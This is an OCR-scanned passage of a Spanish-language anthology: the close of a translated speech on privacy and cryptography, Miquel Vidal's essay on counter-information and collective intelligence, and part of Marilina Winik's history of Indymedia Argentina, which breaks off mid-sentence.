gue hasta hace no mas de veinte afios se aceptaba y hasta se celebraba.

Ahora quisiera pedirles a los presentes en esta sala que por favor
levanten la mano si no han roto una ley, alguna ley, en el Gltimo mes.

(una persona de 400 alza la mano)

OK. Por favor levanten la mano: si sus discos y backups fueran revi-
sados, ¢habria algo en ellos que no se permite tener? Por favor levanten
la mano si sus discos estan “limpios”.

(més manos —unas veinte o treinta)

Hay algunos mas.

Pero no sorprende que estemos preocupados por la privacidad,
porque todos somos “infractores”. Todos quebramos la ley, pero pocos
somos criminales. El problema es que con sélo llamar la atencién de la
policia, alcanza para arriesgar la mayor parte de lo que hacemos, por-
gue quebramos la ley todo el tiempo, jy todo estd montado para que eso
sucedal!

No culpo a los policias por esto. En su mayoria hacen cumplir las
malas leyes que escriben los legisladores, pero de hecho los legisladores
tampoco tienen la culpa, porque a la larga la Unica salida es educar a la
poblacién sobre los beneficios de la apertura. Y esto es algo a lo que
siempre trato de contribuir, y creo que aporto algunas cosas.

Pero maés alla de eso, como dijo P. T. Barnum,2 “Hasta ahora nadie
perdié plata subestimando la inteligencia del publico americano”. Mis

2. Empresario norteamericano, duefio de una cadena de circos a comienzos del
siglo XX. (N. del T.)
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mayores esperanzas las pongo en un enfoque muy diferente.
Parafraseando a Ted Nelson, probablemente no podamos detener este
elefante, pero quizas podamos correr entre sus patas.

En la mayor parte de Europa, las compariias de teléfonos no regis-
tran el namero al que uno llama, y no lo muestran en la boleta. Sélo
cuentan el monto de la llamada. Bien, me contaron que esto es en parte
porque los nazis usaban los registros de llamadas que antes habia, para
rastrear e identificar a la oposicion de los paises que invadian en la
Segunda Guerra Mundial. Desde entonces dejaron de registrar los
ndmeros.

En EE.UU. la gente boicoted el censo con nimeros de registro de
1990. Pienso que tuvo mucho que ver en esto la vergonzosa historia de
como luego de Pearl Harbour se arrié a campos de concentracién a los
japoneses-americanos empleando los datos del censo.

El profesor Lawrence Tribe hablé en este encuentro sobre la gran
desconfianza que debemos tener ante nuestro gobierno. Tenemos que
darnos cuenta de que la gente que maneja el gobierno puede cambiar, y
de hecho cambia. Nuestra sociedad, y nuestras reglas permanentes,
deben asumir que gente mala —incluso criminal- va a manejar el gobier-
no, al menos parte del tiempo.

Aqui se hablé mucho de privacidad... pero no nos hemos detenido
tanto en por qué la queremos. La privacidad es un medio, ¢cual es el
verdadero fin que estamos buscando? Yo propongo que lo que busca-
mos es mas tolerancia.

La sociedad tolera todos los distintos tipos de comportamiento
—diferencias religiosas, diferencias de opiniones politicas, de raza, etc.
Pero si tus diferencias no son aceptadas por el gobierno o por otras par-
tes de la sociedad, todavia podés ser tolerado si simplemente ignoran
que sos diferente. Un gobierno represivo 0 una persona represiva no
pueden perseguirte si te ves igual que los deméas. Como dijo George
Perry hoy, “La diversidad es la ventaja comparativa de la sociedad ame-
ricana”. Pienso que eso es lo que esta protegiendo realmente la privaci-
dad.

La conferencia dedic6 mucho tiempo a hablar sobre modos de con-
trolar los usos de la informacion y de proteger la privacidad de las per-
sonas luego de que la informacion es recogida. Pero eso funciona sélo si
se presupone un buen gobierno. Si surge un gobierno muy malo, van a
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tener toda la informacién que necesiten para generar un eficiente esta-
do policial y constituirse como ultimo gobierno. Seria mas que conve-
niente para ellos —de hecho, es una tentacién para la gente que quiera
intentarlo. Porque les estamos dando los medios.

¢ Qué pasa si podemos construir una sociedad donde la informacion
nunca se recoge?, sen la que podrias pagar para alquilar un video sin
dejar un numero de tarjeta de crédito o de cuenta de banco?, ;en la que
podrias demostrar que tienes permiso para conducir sin ni siquiera dar
tu nombre? ¢en la que podrias enviar y recibir mensajes sin revelar tu
emplazamiento fisico, como una caja de correo electrénica?

Ese es el tipo de sociedad que quiero construir. Quiero asegurar
—con fisica y matematica, no con leyes— que podamos darnos a nosotros
mismos cosas como una verdadera privacidad para las comunicaciones
personales. Una encriptacion lo suficientemente sélida que incluso la
NSAS3 no pueda romperla. Sabemos cémo hacerlo. Pero no lo ponemos
en practica. También necesitamos mejores protocolos para que las
comunicaciones méviles no puedan rastrearse.

También queremos privacidad real para los datos de las computa-
doras. Nuestras computadoras son extensiones de nuestras mentes.
Debemos construirlas de manera que un pensamiento escrito en una
computadora sea tan privado como el mismo pensamiento guardado en
nuestras cabezas.

Debemos tener verdadera libertad de comercio. Debemos poder
vender lo que hacemos y comprar lo que queremos —de y a cualquiera—
para poder mantenernos y poder conseguir las cosas que queremos con-
seguir en este mundo.

Es importante que tengamos verdadera privacidad financiera por-
que los bienes y la informacién cuestan dinero. Cuando compras o ven-
des o te comunicas, va a haber dinero cambiando de manos. Si pueden
rastrear el dinero, pueden rastrear el intercambio y la comunicacién, y
perdemos la privacidad en torno a él.

También necesitamos verdadero control de la identificacion.
Necesitamos la posibilidad de mantenernos andénimos mientras ejerce-

3. National Security Agency, Agencia de Seguridad Nacional. Organismo estatal de
EE.UU. encargado de la control y coordinacién de la seguridad. Mas importante y
de mayor jerarquia que la CIA. (N. del E.)
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mos todos estos derechos. De modo que incluso con nuestras fotos,
nuestras huellas dactilares y nuestro perfil de ADN, no puedan vincu-
lar nuestra comunicacion, compras y actividad financiera con nuestra
persona.

Ahora bien, aca no estoy hablando de no dar cuenta de las acciones,
para nada. Debemos poder dar cuenta de lo que hacemos a las personas
con las que nos comunicamos. Debemos poder dar cuenta de nosotros a
la gente con la que comerciamos. Y la tecnologia debe construirse para
permitir eso. Pero no debemos estar exhibiéndonos automaticamente al
PUBLICO con el que hablamos, o al que compramos o vendemos.

Aqui surgen muchos problemas. Creo que tenemos que trabajar en
ellos. Se deben disefiar leyes justas para esa sociedad. Las personas
deben poder encontrarse con otras personas afines. Y alguien tiene que
pagar el costo del gobierno, incluso aunque no puedan espiar nuestros
ingresos y compras. No sé como resolver estos problemas, pero no pien-
so tirar al bebé con el agua sucia. Sigo pensando que debemos apuntar
a una auténtica privacidad y buscar soluciones para estos problemas.

Entonces, ;como llegamos desde aca a esta nueva sociedad? Una
manera es dejar de disefiar y promover falsas protecciones, como las
leyes que dicen que no se permite escuchar las llamadas de los teléfonos
celulares. Definitivamente debemos dejar de construir sistemas mani-
fiestamente amenazantes como el sistema de identificacién Thai o el sis-
tema CalTrans de rastreo de vehiculos.

Otra cosa para hacer es, si ya saben como, empezar a disefiar, o
seguir disefiando, protecciones verdaderas para las cosas que fabrican.
Héganlo para el mercado de EE.UU., aln si la NSA sigue prohibiendo
la privacidad con controles para la exportacion de criptografia. Es mas
costoso disefiar dos versiones, una para nosotros y otra para exportar,
pero vos estas fabricando para tu sociedad y creo que debes fabricar
para el modo en que quieren Vivir.

Si no saben como disefiar una proteccién real, comprenla. Creen un
mercado para los que estan disefidndola, y al mismo tiempo protejan su
privacidad poniéndola en uso. Exijanla de las personas que los proveen,
como las compariias de computadoras y los fabricantes de telefonia
celular.

También hay que trabajar para eliminar las restricciones para la
exportacion. Debemos poder importar lo mejor desde cualquier parte y
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debemos poder exportar la privacidad y lo mejor de nuestros productos
al resto del mundo. La NSA actualmente nos tiene de rehenes; los fabri-
cantes de computadoras, por ejemplo, no incorporan seguridad porque
no se les permite exportarla. IBM agregé DES4 a su nueva linea de com-
putadoras, y s6lo lo iban a hacer con los modelos dentro de EE.UU.,
pero la NSA los amenaz6 con demandarlos y limitar incluso sus expor-
taciones comunes. IBM dio marcha atras y se retir6. No podemos dejar
gue esto siga pasando.

También tenemos que educar a todos sobre lo que es posible para
gue podamos elegir el tipo de libertad que queremos en vez de asumir
gue es inalcanzable.

Por altimo, tenemos que asegurar que el dinero en efectivo y el ano-
nimato sigan siendo legales. Lo vamos a necesitar como precedentes
para el dinero electrénico y el anonimato criptogréfico.

Creo que con estos enfoques vamos a hacer mucho mas por nuestra
libertad real, nuestra privacidad real y nuestra seguridad real, que
sacando algunas leyes nuevas o asustando a algunos de los chicos que
andan rompiendo las barreras de seguridad de la red. Podemos crear un
futuro del que estemos orgullosos de habitar y felices de dejar a nues-
tros hijos. Muchas gracias.

4. DES (Data Encryption Standard, Standard para la Encriptacion de Datos). Sistema
de encriptacién adoptado como standard por la administracion publica de Estados
Unidos. (N. del T.)
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M iquel Vidal (ver pagina 44)

|_a siguiente es una ponencia presentada en los 1V

Encuentros de Contrainformacion del Estado
espafiol, celebrados en abril de 1999 en el centro
social okupado El Laboratorio, en Madrid, que sir-
vieron, entre otras cosas, para la presentacion
publica del Proyecto sinDominio. Fue publicado en
papel por la revista madrilefia Contrapoder en ese
mismo afo.
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Contra (la) informacion:
comunicacion e inteligencia colectiva

Miquel Vidal

“No habra nunca una puerta. Estas adentro
y el laberinto alcanza el universo

y no tiene ni anverso ni reverso

ni externo muro ni secreto centro.”

Jorge Luis Borges

La extension del ciberespaciol ha puesto muy en evidencia los limi-
tes del esquema clasico de la teoria de la informacién, en la que se esta-
blece un flujo unidireccional entre el emisor y el receptor, a través de un
canal determinado. Este planteamiento asimétrico es bien conocido y se
trata de un elemento recurrente en todos los medios de comunicacion
tradicionales: por un lado, el productor de la informacion; por otro, su
destinatari@. Es cierto que desde hace algun tiempo los medios se
esfuerzan por introducir cierto grado de interactividad (teletienda, pago
por visién, encuestas, intervenciones telefénicas...), pero no son mas
que paliativos bastante burdos. La insistencia en que la gente interven-

1. El ciberespacio es un concepto creado por William Gibson en su extraordinaria
novela de ciencia ficcion Neuromante (1984) y que fue inmediatamente adoptado
por los hackers. En un sentido amplio, hace referencia al espacio de comunicacién
abierto por la interconexion mundial de los ordenadores y de sus recursos. Esta
definicion (de Pierre Lévy) comprende el conjunto de sistemas de comunicacion
electrénicos digitales (incluyendo el conjunto de redes hertzianas y telefonicas cla-
sicas). Un par de aclaraciones: las autopistas de la informacién y el ciberespacio no
son lo mismo: el ciberespacio se sirve de ellas (también del éter o de las lineas telé-
fonicas) pero no se refiere a una tecnologia determinada o a Internet Unicamente,
sino a un tipo particular de relacion entre personas.
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ga, opine, se solidarice, etc. no puede ocultar a nadie la ausencia de una
interactividad que no existe en absoluto.

Aunque su intencion sea opuesta, el esquema de la contrainforma-
cion no difiere mucho en su expresiéon material. Sigue habiendo un@s
gue producen la informacién —las agencias y medios contrainformati-
VvOos— con muy escasos medios y otr@s que la reciben —la pefia— con mas
buena fe que interés. Parece claro que no por repetir muchas veces ideas
como horizontalidad o no-mediacién, la comunicaciéon que promove-
mos pasard automaticamente a ser horizontal o no mediada. Préacticas
de la contrainformacion como sacar a la luz informaciones obviadas o
manipuladas por los medios convencionales se basan en la idea de
“veracidad” o, dicho de otro modo, en la busqueda de una aproxima-
cién maxima entre los “hechos” y el relato que se construye. Esa nocion
de que hay una “verdad” que hay que sacar a la luz tiene su apogeo en
contextos totalitarios en el que se censura la informacién o bien en un
esquema ilustrado de otros tiempos en el que habia falta de informa-
cion. No es ese ciertamente nuestro caso, en el cual el problema es méas
bien el contrario: flujo excesivo de informacion que produce ruido, dis-
torsion, redundancia y banalidad, pasando a ser fundamental el co6mo
situarnos desde nuestra precariedad de medios en semejante contexto.
Aqui quizé el concepto de visibilidad adquiere toda su potencia, pero en
todo caso no podemos limitarnos a sumarnos a ese griterio ininteligible
pues por muy buena que sea nuestra intencién y muy interesantes nues-
tras informaciones no tenemos forma de “hablar mas alto” que los
medios convencionales y que se nos oiga en medio del ruido. La buena
voluntad no es suficiente. Tampoco el uso de un medio u otro garantiza
autométicamente una comunicacion antagonista.

¢(Hay pues posibilidad de comunicacién alternativa, mas alla de
contribuir al ruido mediatico? Una posible linea de fuga seria ver si
podemos convertir la comunicacion en algo capaz de producir formas
de vida y de socialidad refractarias al mercado y al mando. Y en ese con-
texto, el mensaje es lo de menos. Aqui, el proceso comunicativo es lo impor-
tante, pero no cualquier proceso comunicativo sino el que producimos
en una apuesta colectiva de lucha contra el poder (los poderes).
Comunicacién en proceso como creacion de nuevos espacios de liber-
tad, con singularidades que desbordan la disyuntiva individuo/colecti-
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vo y que son fruto de la libre circulacidn de saberes y experiencias diver-
sas.

Pero el caso es que el esquema de la contrainformacion se sigue cen-
trando en el mensaje, en la informaciéon misma, o bien en el emisor y su
papel (contra)informativo. Por ejemplo cuando decimos que queremos
“dar voz a I@s sin voz™ y cosas por el estilo. Con esto, conseguimos —en
el mejor de los casos— multiplicar y diversificar el nimero de mensajes
en la red, pero no por esto se esta necesariamente contrainformando. No
quiero decir con esto que hacer notas de prensa o ejercer de altavoz de
aquello silenciado desde otros &mbitos sea inutil o contraproducente. Es
mas, hay muchos casos en que informacion veraz es sinénimo de con-
trainformacién. A lo que voy es que debemos tratar de ir mas alla de ese
esquema y para ello resulta imprescindible reequilibrar los elementos
discursivos unidireccionales (frases, iméagenes, informaciones, paginas
web...) con lo que se puede denominar elementos existenciales de la
comunicacion, esto es, los elementos éticos y politicos multidirecciona-
les. {Qué ética, qué politica? Una ética fundada en la horizontalidad de
las relaciones entre los individuos, en la cooperacién y la puesta en
comun de saberes y experiencias y en la posibilidad de todo el mundo de
poder emitir para todo el mundo; una politica de la no dominacién, de la no
dependencia, de la autonomia de los individuos y de los grupos socia-
les. Para ello hay que renunciar definitivamente al esquema del huma-
no alienado por el Estado o adormecido por los media y que debe ser
contrainformado; la informacién ya esta ahi, de todos los signos posibles,
al alcance de tod@s: lo que propongo en cambio es apostar por comuni-
car la comunicacion, por la inteligencia colectiva, y por su espacio natural,
el ciberespacio.

Y es que mientras hemos estado discutiendo sobre si las nuevas tec-
nologias son liberadoras o son un instrumento maés al servicio del poder,
ya se nos esta imponiendo una manera de hacer y la dinamica social nos
ha sobrepasado y ya esta indagando desde hace tiempo en sus atracti-
vos, también en sus limites y peligros. Cuando estas tecnologias empie-
zan a estar arraigadas socialmente, cuando empezamos a vislumbrar la
posibilidad de su uso antagonista, igual ya es demasiado tarde, ya estan
emergiendo otras tecnologias en la frontera nebulosa donde se inventan
las ideas, las cosas y las practicas. Y no son empresas ni Estados sino
grupos indeterminados de individuos que se mueven con criterios que
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me atrevo a calificar de marginales y con los que tenemos mucho que
ver (aungue nunca les veamos ;-). Por ejemplo, ninguin Estado, ninguna
empresa, habia previsto ni anunciado el desarrollo de la informatica
personal, ni el de las interfaces gréficas interactivas para tod@s, ni el de
las BBS o el apoyo mutuo de las comunidades virtuales, ni de los hiper-
textos, ni de la Web, ni de los programas de criptografia personal e
inviolable, ni de GNU/Linux.2 Estas tecnologias, todas ellas empapadas
de sus primeros usos y de los proyectos de quienes las concibieron, naci-
das de mentes visionarias, transportadas por el trasiego de movimien-
tos sociales y de practicas de base y cooperativas, han llegado donde
ningun tecndcrata podia siquiera sospechar, pero parece que tampoco lo
esperaban los medios de comunicacion, incluyendo aqui a los colectivos
de contrainformacion.

Los medios de comunicacion tradicionales fabrican un publico
homogéneo, el mensaje mediatico busca el “comin denominador” men-
tal de sus destinatarios, pues el mismo mensaje debe ser leido, escucha-
do o visto por mucha gente. No tiene pues en cuenta la singularidad del
receptor, sus opiniones sociales, su microcultura, su estado de &nimo o
su situacién particular: es la masa, la audiencia, el publico, también la
“pefia”. Aunque parezca increible, en cierto sentido el ciberespacio nos
retrotrae a la situacion comunicativa que habia antes de la escritura —a
otra escala, obviamente— en la medida que la interconexion y el dina-
mismo en tiempo real de las memorias en linea hace que nuevamente se
comparta un contexto comunicativo comun, imperfecto, inacabado pero
en evolucion constante, lleno de vida que incluye a las personas y donde
nada hay ya extemporaneo o “fuera de contexto”.

La extension del ciberespacio ha hecho saltar muchos dogmas acer-
ca de la organizacién de los grupos humanos, y ha dado pie a que se

2. No hay duda de que la mayoria de estos hallazgos van siendo recuperados y uti-
lizados por la industria. Pero hay que reconocer que la industria también ha reali-
zado, de alguna manera, los objetivos de toda esa gente que ha ido creando herra-
mientas y promoviendo usos politicos antagonistas. Hay que subrayar una vez mas
que la informatica personal y el mismo Internet no han sido decididos -y menos
aun previstos— por ningun Estado ni por ninguna transnacional. Su inventor y
principal motor fue un movimiento social que se quiso reapropiar, en beneficio de
las personas (“computers for the people” decian los hackers californianos de media-
dos de los setenta), de una potencia técnica hasta entonces monopolizada por
grandes instituciones burocraticas tanto publicas como privadas.
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establezcan relaciones entre los individuos y los colectivos radicalmen-
te nuevas, sin precedentes en la historia ni en la biologia. El ciberespa-
cio no es otra cosa que el soporte técnico indispensable para dar pie a la
inteligencia colectiva. EI movimiento social que se desarrolla en el
ciberespacio -las comunidades virtuales—-, cada vez mas masivo y
potente, prefigura y actualiza muchas de las cosas de las que teorizamos
en los ambitos antagonistas como un ideario de futuro. La activacion de
modos de cooperacién flexibles, transversales y no mercantiles y la dis-
tribucién coordinada de los centros de decision estan creando formas
comunitarias, emancipadoras, socializadoras y horizontales. En efecto,
el movimiento social que se mueve en el ciberespacio carece de progra-
ma politico, pero la autonomia, la apertura a la diferencia, el espacio sin
fronteras (la universalidad) y la libre circulacién del saber —la oposicion
radical al copyright y a la propiedad intelectual- son sus valores consti-
tuyentes. Sin centros ni lineas directrices, sin contenido particular, acep-
ta todos los contenidos ya que se limita a poner en contacto —comuni-
car—un punto cualquiera con otro, sea cual sea la carga semantica o poli-
tica de cada uno de ellos. Y seria tragico caer en el error de creer que no
hay que preocuparse demasiado de lo que sucede en el ciberespacio,
porque es virtual y no tiene consecuencias en el mundo “real”: esta
transformando ya, y lo va a hacer mucho mas en el futuro inmediato, las
condiciones materiales y subjetivas de vida en sociedad.

Queda para otra ocasion reevaluar desde una perspectiva antago-
nista algunas de las implicaciones politicas del volcado de los medios de
comunicacién tradicionales —el teléfono, la television, la radio, el fax, los
periddicos, los libros...— en el ciberespacio. Aunque conviene aclarar
que no creo que resulte posible prever las mutaciones con que la digita-
lizacién -y por tanto la posibilidad de tratamiento numérico con orde-
nadores— modificara nuestras formas de comunicarnos después del afio
2000, si que se hace necesario anticiparse de alguna manera a sus efec-
tos, indagar en esos usos antes de que sean definitivamente recuperados
por el mando.
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Nuevos medios para hacer medios: el caso
Indymedia

Marilina Winik

Indymedia es la red de comunicacidn antagonica més desarrollada
a nivel global. Emergente de una nueva realidad historica, social y eco-
noémica, es el resultado de una manera novedosa para la articulacién
entre activistas de multiples movimientos sociales y nuevas techologias.
Politicamente, esta articulacion implica la apropiacién del espacio que
posibilité la expansién capitalista, para la lucha contra ese mismo siste-
ma de practicas y discursos. Desde el punto de vista histdrico, es en la
cumbre de la OMC en Seattle de 1999 (en su fracaso) donde Indymedia
deja de ser un mero centro de contrainformacién para comenzar un pro-
ceso de crecimiento tal que hoy la convierte en la “red de redes” més
grande del mundo. Esto es asi porque pudo capitalizar la heterogenei-
dad sin desvirtuarla.

Dentro de este contexto, Indymedia Argentina surgio a partir de las
movilizaciones contra el ALCA en abril de 2001. Compartiendo los prin-
cipios de unidad de la red global, la realidad latinoamericana le impri-
me una impronta distinta. No sélo crea redes y nodos de red, sino que
sus discursos y practicas se vinculan muy estrechamente con la multi-
plicidad de los movimientos sociales argentinos: es vehiculo de difusién
pero también herramienta de articulacion.

1) Contexto de surgimiento: los 90 y el movimiento
antiglobalizacion

La cumbre de la Organizacion Mundial de Comercio (OMC) que se
celebraria en Seattle (EE.UU.), habia sido preparada minuciosamente
por los principales centros de poder politico (los Estados Unidos, la
Unién Europea, Japdn y Canad4) en intima relacion con el poder eco-
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némico-financiero transnacional. Pero la cumbre fracasd: los hombres
representantes de las elites mas poderosas del mundo nunca llegaron a
reunirse. En paralelo a los preparativos de la OMC, diferentes redes y
grupos de todo el mundo (llamados antiglobalizacion) articularon
diversas acciones de protesta. EI 30 de noviembre de 1999 se convirtio
en el simbolo de su primera victoria.

Mas de 50.000 personas se movilizaron hasta Seattle, mas de 1.500
organizaciones a escala planetaria ayudaron a fomentar la organizacion,
hubo protestas en 70 ciudades de 30 paises del norte y del sur, del este
y del oeste. Una multiplicidad de subijetividades se articul6 en un acon-
tecimiento que impugnaba nodalmente al capital en la voz: “el mundo no
€s una mercancia”.

¢Cuédl fue la condicién de posibilidad de esta extrafia convergencia?
¢Coémo explicar que fuera politicamente efectiva? La respuesta gira alre-
dedor de un modelo de articulacién hasta entonces desconocido: las
acciones de protesta se habian estructurado alrededor de un medio rapi-
do y econdémico, Internet.

El Movimiento de Resistencia Global o Antiglobalizaciéon —asi lo
denominaron los medios masivos— comenzé como una corriente de pro-
testa mundial que aunaba a decenas de grupos de diferentes paises que
tenian en comun su rechazo al capitalismo y al modelo neoliberal. Un
movimiento en el que se dieron (y dan) cita colectivos diferentes: sindi-
catos, intelectuales de izquierda, ecologistas, indigenistas, activistas de
género y grupos desfavorecidos que acusaban (y acusan) al sistema eco-
némico de amoral e injusto.

2) Breve historia de Indymedia

Indymedia nace como un proyecto situacional, para organizar la
contrainformacion durante la cumbre de OMC. Indymedia (como la
pata comunicacional del movimiento antiglobalizacién) pudo capitali-
zar la unién de un amplio sector de colectivos y redes preexistentes en
el marco de un entramado de comunicacion alternativa y antagoénica. El
sitio (originalmente pensado para empezar y terminar en la cumbre)
recibio méas de un millén y medio de visitas y esto provocoé la necesidad
de conformar una red de comunicacién antiglobalizacion que se multi-
plicé en mas de 150 sitios a lo largo de todo el mundo.
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2.1) El activismo internacional en los ’80 y "90

Durante los afios ‘80 y ‘90 se organizaron innumerables experien-
cias de éxodo y de construccion de “mundos auténomos”: los centros
sociales italianos, la netculture del norte de Europa, el zapatismo en
Chiapas, la cultura hip hop, las comunidades de sem terra brasilefias, las
experiencias psicotrépicas individuales y colectivas, las editoriales
underground, las revistas militantes, las radios libres.

Todo ello permiti6 a la inteligencia autbnoma reproducirse y resis-
tir durante los dltimos veinte afios, pensando en diferentes maneras de
resistencia, creando nuevas formas de organizacién radical que no res-
pondiesen a modelos quebrados por la historia mas reciente, siendo lo
menos funcionales al sistema.

Pero por sobre todas las realidades regionales o de afinidad, los
medios de contrainformacion fueron la respuesta a las necesidades con-
cretas de colectivos y movimientos sociales, para los cuales era impres-
cindible dar a conocer sus experiencias para continuar siendo colectivos
0 movimientos. Es decir, dar visibilidad y enunciabilidad a todo aque-
llo que los mass media distorsionaban, ocultaban, manipulaban o sim-
plemente ignoraban. La tarea entonces de estos medios fue (y sigue
siendo) romper el cerco de la informacién recortada, ideologizada y
pasiva.

2.2) Indymedia Global: registros y cédigos de diferencia e igualdad

Desde su momento fundacional en 1999, la posibilidad de hacer
medios se convirtio en equivalente a hacer sociedad para el activismo glo-
bal. Era imposible seguir pensando en el activismo politico sin crear
medios, o mejor dicho, sin desarrollar una red en la que confluyan estos
nuevos medios. Indymedia o Centro de Medios Independientes (CMI) fue
entonces un punto convergencia para quienes decidieron construir una
red desde la diversidad de movimientos: comunidades de video acti-
vistas, pequefias radios piratas, hackers, desarrolladores de cddigos,
productores de fanzines, periodistas, etc.

La heterogeneidad implica complejidad. En Indymedia coexistian
colectivos con largas tradiciones de lucha, con experiencias autbnomas
y muchas veces fragmentadas. Pero habia un punto de coincidencia que
continda explicando su duracién en el tiempo: el mediactivismo, sim-
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plificado a su vez como fendmeno mediético, irrumpe con la coyuntura
Internet-Seattle. Convergencia de la informacién autorganizada en red
y florecimiento de la red global.l Seguin el italiano Franco “Bifo”
Berardi, el activismo mediatico, ademas, constituye una esfera publica
auténoma, un espacio de sustraccion al de la invasién mediatica.2

2.3) Los Principios de Unidad (la diferencia y la igualdad)

Construye tus medios es una de las consignas de Indymedia global. Y
desde alli se explica que la red sea hoy una de las mayores comunida-
des anticapitalistas del mundo. Es asi porque, desde sus principios,
surge no soélo la posibilidad de informar (contra-informar) rompiendo la
tradicional I6gica emisor/ receptor (en tanto no existe una autoridad que
determine quién publica ni quién lee y, ademas, sus formatos son mul-
tiples), sino que también de esta manera alienta a la participacién de
todos.

La organizacién interna de los distintos colectivos y de la propia red
global es horizontal: las decisiones se toman por consenso y en lugar de
verticalidad, las responsabilidades se distribuyen segin las tareas que cada
activista decide realizar.

Politicamente, Indymedia se reconoce anticapitalista y antipatriar-
cal. En Indymedia todo trabajo realizado es voluntario y militante.

Frente a la unidireccionalidad de los medios masivos —concentra-
dos en oligopolios, habiles tergiversadores de los hechos y naturaliza-
dores por antonomasia de la explotacidon—, Indymedia se propone como
herramienta de participacion que hagan del receptor, no un espectador
pasivo, sino un multiplicador de conciencia y de visiones de la realidad
gue cuestionen de raiz el sistema vigente. Por eso no se entiende a la infor-
macién como mercancia sino como una manera de articular la lucha.

1. Mateo Pasquinelli, en M. Pasquinelli (comp.), Mediactivismo: Estrategias y practi-
cas de la comunicacion independiente. DeriveApprodi, Roma, 2002.

2. Franco Berardi (Bifo), “La incesante guerra entre red y videocracia”, en M
Pasquinelli (comp.), Mediactivismo...
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3) Indymedia Argentina

La experiencia Indymedia en Argentina no tiene antecedentes. La
posibilidad de democratizar radicalmente un medio de comunicacion y
ponerlo al alcance de todos, trabajando desde la consigna “cada persona
es un corresponsal” fue, sin duda, el inicio de una nueva era en términos
de comunicacion, informacion y posibilidad de cambio que ofrecia la
tecnologia.

3.1) La paradoja en la propia génesis

Sin la trayectoria europea de la net culture y sin el movimiento anti-
globalizacion, Indymedia Argentina no hubiese existido. Desde sus ini-
cios en abril de 2001, este colectivo se propuso construir una comunica-
cion amplia, democrética, de base. O, en otras palabras, aportar a la
lucha de miles y miles por forjar una nueva cultura, tanto politica como
comunicacional.

Pero, en su misma génesis se produjo una paradoja: las condiciones
de posibilidad de Indymedia Argentina (el contexto internacional
anglo-europeo) nada tenian que ver con las realidades locales. Los acto-
res sociales y politicos, asi como los efectos del capitalismo son diferen-
tes. Las estrategias de lucha definen sus prioridades de acuerdo a los
conflictos. Y aqui los conflictos son otros. Obviamente, “el capital” suele
ser la voz bajo la cual la lucha se define, por lo menos en niveles tedri-
cos. Pero de cara a las realidades de los barrios del conurbano, la lucha
ecologista, el copyleft y el software libre hacian ruido en el cuerpo de los
activistas argentinos.

Paradoja entre medios disponibles y registros discursivos (es decir,
de précticas sobre -y en- las cuales el registro discursivo se construye).
Activistas ecologistas con laptop, activistas piqueteros en el puente
Pueyrreddn... ;qué decian y quiénes eran los que armaban la pagina
web? ;Paradoja posmoderna o simple paradoja de la lucha de la clase
media en los paises pobres?

Paradoja que no se produjo en el nivel tedrico sino en la préctica
politica. Y por esta razon, los que armaban la pagina argentina enten-
dieron que el escenario de esta Ultima seria el lugar de las respuestas.
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4) La préactica desde el 19 y el 20 de 2001: primera respuesta
a la paradoja

El nacimiento de Indymedia Argentina representa un quiebre muy
fuerte de las interpretaciones primermundistas, por la falta de historia
local en materia de usos de las tecnologias para el cambio. Y justamen-
te por esta razodn, se resignifica en el contexto latinoamericano a partir
del 19 y 20 de diciembre de 2001.

La realidad y la manera de abordarla, hizo que desde sus primeros afios
de vida pueda ser un lugar de referencialidad muy concreta para nue-
vos actores sociopoliticos. Nuevos en la Argentina y diferentes de los
gue dan sus luchas en el contexto anglo-europeo.

Hoy Indymedia se piensa mas que nada como “una red de accion”
gue contiene el mismo principio: acrecentar la participacion e involucrar
cada vez mas grupos y colectivos en una multiplicidad de espacios que
se contintian abriendo constantemente. Todos estos escenarios tienen la
comun inquietud por experimentar y aportar a diferentes proyectos
(que a su vez se multiplican).

4.1) Los primeros modos de trabajo: “patear la calle”

La tarea que se habia propuesto el colectivo Indymedia Argentina
fue, en un primer momento, la realizacion de “las coberturas”: salir a las
calles y relatar desde una perspectiva radical cuales eran las necesida-
des de las organizaciones en dar a conocer sus conflictos, no reflejadas
por la voz de los grandes medios (que juegan siempre de aliados con el
poder de turno). Hacer coberturas implicaba tejer redes entre este nuevo
actor que se proponia intervenir sobre la realidad social, el mediactivis-
ta, y los diferentes movimientos sociales. Esto tuvo un impacto muy
grande en las distintas organizaciones y movimientos ya que los
mediactivistas que estaban en las calles todos los dias y cubrian las dife-
rentes manifestaciones comenzaron a tejer esas redes con los distintos
referentes y con las bases de las organizaciones que luego, eran los que
daban credibilidad a las publicaciones del sitio. El estar en la calle cons-
tantemente, dio a Indymedia Argentina la posibilidad de hacerse cono-
cidos y requeridos por los movimientos sociales. “Estos sectores que par-
ticipan en las luchas sociales rapidamente adquieren una postura critica sobre
los medios de comunicacion, especialmente sobre el televisivo, que evita rotun-
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damente mostrar sus acciones, sus movilizaciones y sus propuestas. Asi queda
en evidencia para un sector de la sociedad la dictadura mediatica en la cual
estan inmersos.”3

5) La préctica durante la masacre en el Puente Pueyrredon:
segunda respuesta a la paradoja

Durante 2002 el “dar voz a los que no tienen voz” se transforma
junto con el escenario politico argentino. La difusién de los conflictos
entre las organizaciones piqueteras y el estado se constituye en otra
experiencia que reorienta las practicas.

Relata Tomas, un compariero de Indymedia, sobre lo ocurrido el 26
de junio de 2002: “Cuando asesinaron a los compafieros Dario Santillan
del MTD de Lanis y Maximiliano Kosteki del MTD Guernica en
Avellaneda, el 26 de junio de 2002, los medios frente a la brutal repre-
sién —hasta que la evidencia y la movilizacion sefialaron lo contrario—
hablaron de «enfrentamientos». Prefirieron mostrar los palos, las gome-
ras y las capuchas de los piqueteros, justificando el dispositivo represi-
vo y evitando hablar de las balas de plomo que el gobierno de Duhalde
y de Felipe Sola y el FMI ordenaron que se disparen para acabar con la
protesta social”.

Indymedia actué no solo como testigo directo sino que, desde el
sitio, en la portada denunciaba “Asesinos” a los que provocaron la
masacre.

A un mes de lo ocurrido y como primer regreso al Puente
Pueyrreddn, Indymedia video realiz6 el video documental “Piquete
Puente Pueyrreddn”. Fue visto por muchisimas personas que formaban
parte de los distintos movimientos, y en él se podia conocer cuéles ha-
bian sido los hechos (mostrados ahora desde una perspectiva militante
-“iméagenes desde el otro lado de la barricada™). Se denunciaban, tam-
bién, las estrategias inconsistentes de los grandes medios aliados al
poder politico que buscaban, por sobre todo, crear “opinion publica” en
torno a una idea de piqueteros violentos y criminales.

3. Pablo Boido, Ponencia realizada para “Our media”, Colombia, julio 2003.
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En esa misma jornada también se confecciond una muestra de fotos
gue incluia fotos de Dario Santillan. “La gente del movimiento se asombra-
